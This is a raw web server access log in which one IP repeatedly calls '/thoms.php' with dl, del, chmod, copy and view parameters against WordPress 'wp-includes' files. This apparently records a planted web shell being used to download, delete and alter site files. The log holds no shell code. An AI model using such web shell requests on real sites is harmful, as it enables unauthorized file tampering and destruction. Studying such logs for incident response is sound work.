45.135.193.11 - - [11/Sep/2026:23:22:39 -0400] "GET /thoms.php?dl=class-wp-rewrite.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59388 "http://163.245.207.76:443/thoms.php?dl=class-wp-rewrite.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:39 -0400] "GET /thoms.php?dl=class-wp-theme-json.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59381 "http://163.245.207.76:443/thoms.php?dl=class-wp-theme-json.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:40 -0400] "GET /thoms.php?chmod=user.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11510 "http://163.245.207.76:443/thoms.php?chmod=user.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:40 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-error.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:40 -0400] "GET /thoms.php?del=blocks&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59394 "http://163.245.207.76:443/thoms.php?del=blocks&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:40 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=cron.php HTTP/1.1" 200 22857 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=cron.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:40 -0400] "GET /thoms.php?dl=capabilities.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59362 "http://163.245.207.76:443/thoms.php?dl=capabilities.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:40 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-block.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11887 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-block.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:40 -0400] "GET /thoms.php?chmod=class-wp-image-editor.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=class-wp-image-editor.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:40 -0400] "GET /thoms.php?del=registration.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59382 "http://163.245.207.76:443/thoms.php?del=registration.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:41 -0400] "GET /thoms.php?chmod=class-wp-textdomain-registry.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11530 "http://163.245.207.76:443/thoms.php?chmod=class-wp-textdomain-registry.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:41 -0400] "GET /big-wife.com.tw/wp-includes/feed-rss2.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:41 -0400] "GET /thoms.php?chmod=class-wp.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=class-wp.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:41 -0400] "GET /thoms.php?dl=class-wp-oembed-controller.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?dl=class-wp-oembed-controller.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:41 -0400] "GET /thoms.php?del=class-wp-recovery-mode.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59381 "http://163.245.207.76:443/thoms.php?del=class-wp-recovery-mode.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:41 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=rss.php HTTP/1.1" 200 19821 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=rss.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:41 -0400] "GET /big-wife.com.tw/wp-includes/theme-compat/ HTTP/1.1" 200 1387 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:41 -0400] "GET /big-wife.com.tw/wp-includes/http.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:41 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-http-response.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11893 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-http-response.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:41 -0400] "GET /big-wife.com.tw/wp-includes/wp-db.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:41 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fcomment.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11872 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fcomment.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:41 -0400] "GET /thoms.php?chmod=ms-files.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11511 "http://163.245.207.76:443/thoms.php?chmod=ms-files.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:42 -0400] "GET /thoms.php?chmod=class-wp-comment-query.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11540 "http://163.245.207.76:443/thoms.php?chmod=class-wp-comment-query.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:42 -0400] "GET /thoms.php?chmod=class-wp-http-requests-hooks.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11545 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http-requests-hooks.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:42 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=revision.php HTTP/1.1" 200 21898 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=revision.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:41 -0400] "GET /thoms.php?dl=post-template.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59309 "http://163.245.207.76:443/thoms.php?dl=post-template.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:42 -0400] "GET /big-wife.com.tw/wp-includes/abilities-api.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:42 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fblock-editor.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11871 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fblock-editor.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:42 -0400] "GET /thoms.php?dl=version.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59374 "http://163.245.207.76:443/thoms.php?dl=version.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:42 -0400] "GET /thoms.php?del=block-supports&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59393 "http://163.245.207.76:443/thoms.php?del=block-supports&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:42 -0400] "GET /big-wife.com.tw/wp-includes/class-walker-category.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:42 -0400] "GET /thoms.php?dl=bookmark-template.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?dl=bookmark-template.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:43 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Ftaxonomy.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11883 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Ftaxonomy.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:43 -0400] "GET /thoms.php?chmod=abilities-api&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11529 "http://163.245.207.76:443/thoms.php?chmod=abilities-api&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:43 -0400] "GET /thoms.php?dl=class-walker-page-dropdown.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?dl=class-walker-page-dropdown.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:43 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fblocks&p= HTTP/1.1" 200 12310 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fblocks&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:43 -0400] "GET /thoms.php?del=class-wp-http-streams.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59382 "http://163.245.207.76:443/thoms.php?del=class-wp-http-streams.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:43 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-rewrite.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:43 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-editor.php HTTP/1.1" 200 33504 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-editor.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:43 -0400] "GET /thoms.php?del=php-compat&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?del=php-compat&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:43 -0400] "GET /thoms.php?chmod=class-wp-taxonomy.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11537 "http://163.245.207.76:443/thoms.php?chmod=class-wp-taxonomy.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:43 -0400] "GET /thoms.php?del=atomlib.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59382 "http://163.245.207.76:443/thoms.php?del=atomlib.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:44 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Ftheme-previews.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11830 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Ftheme-previews.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:44 -0400] "GET /thoms.php?chmod=class-wp-customize-section.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11556 "http://163.245.207.76:443/thoms.php?chmod=class-wp-customize-section.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:44 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Ftheme.json&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11880 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Ftheme.json&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:44 -0400] "GET /thoms.php?del=Requests&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59242 "http://163.245.207.76:443/thoms.php?del=Requests&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:44 -0400] "GET /thoms.php?dl=class-wp-http-response.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59358 "http://163.245.207.76:443/thoms.php?dl=class-wp-http-response.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:44 -0400] "GET /thoms.php?dl=class.wp-styles.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59384 "http://163.245.207.76:443/thoms.php?dl=class.wp-styles.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:44 -0400] "GET /thoms.php?chmod=SimplePie&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11528 "http://163.245.207.76:443/thoms.php?chmod=SimplePie&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:44 -0400] "GET /thoms.php?dl=class-wp-block-type.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59382 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-type.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:45 -0400] "GET /thoms.php?del=deprecated.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59382 "http://163.245.207.76:443/thoms.php?del=deprecated.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:45 -0400] "GET /thoms.php?del=icons.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59382 "http://163.245.207.76:443/thoms.php?del=icons.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:45 -0400] "GET /thoms.php?dl=theme-templates.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59372 "http://163.245.207.76:443/thoms.php?dl=theme-templates.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:45 -0400] "GET /thoms.php?chmod=class-wp-block-bindings-source.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11535 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-bindings-source.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:45 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-customize-widgets.php HTTP/1.1" 200 33043 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-customize-widgets.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:45 -0400] "GET /big-wife.com.tw/wp-includes/functions.wp-scripts.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:46 -0400] "GET /thoms.php?chmod=functions.wp-styles.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11536 "http://163.245.207.76:443/thoms.php?chmod=functions.wp-styles.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:46 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-http.php HTTP/1.1" 200 12110 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-http.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:45 -0400] "GET /thoms.php?del=class.wp-scripts.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?del=class.wp-scripts.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:46 -0400] "GET /thoms.php?del=embed.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59381 "http://163.245.207.76:443/thoms.php?del=embed.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:46 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-list-util.php HTTP/1.1" 200 14431 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-list-util.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:46 -0400] "GET /thoms.php?del=class-wp-block-processor.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?del=class-wp-block-processor.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:46 -0400] "GET /thoms.php?chmod=class-wp-recovery-mode-key-service.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11551 "http://163.245.207.76:443/thoms.php?chmod=class-wp-recovery-mode-key-service.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:46 -0400] "GET /thoms.php?del=class-wp-locale.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59382 "http://163.245.207.76:443/thoms.php?del=class-wp-locale.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:46 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fquery.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11880 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fquery.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:46 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=ai-client.php HTTP/1.1" 200 12834 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=ai-client.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:46 -0400] "GET /thoms.php?dl=class-wp-oembed.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59382 "http://163.245.207.76:443/thoms.php?dl=class-wp-oembed.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:47 -0400] "GET /thoms.php?chmod=bookmark-template.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11536 "http://163.245.207.76:443/thoms.php?chmod=bookmark-template.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:47 -0400] "GET /thoms.php?chmod=speculative-loading.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11538 "http://163.245.207.76:443/thoms.php?chmod=speculative-loading.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:47 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Finteractivity-api&p= HTTP/1.1" 200 12305 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Finteractivity-api&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
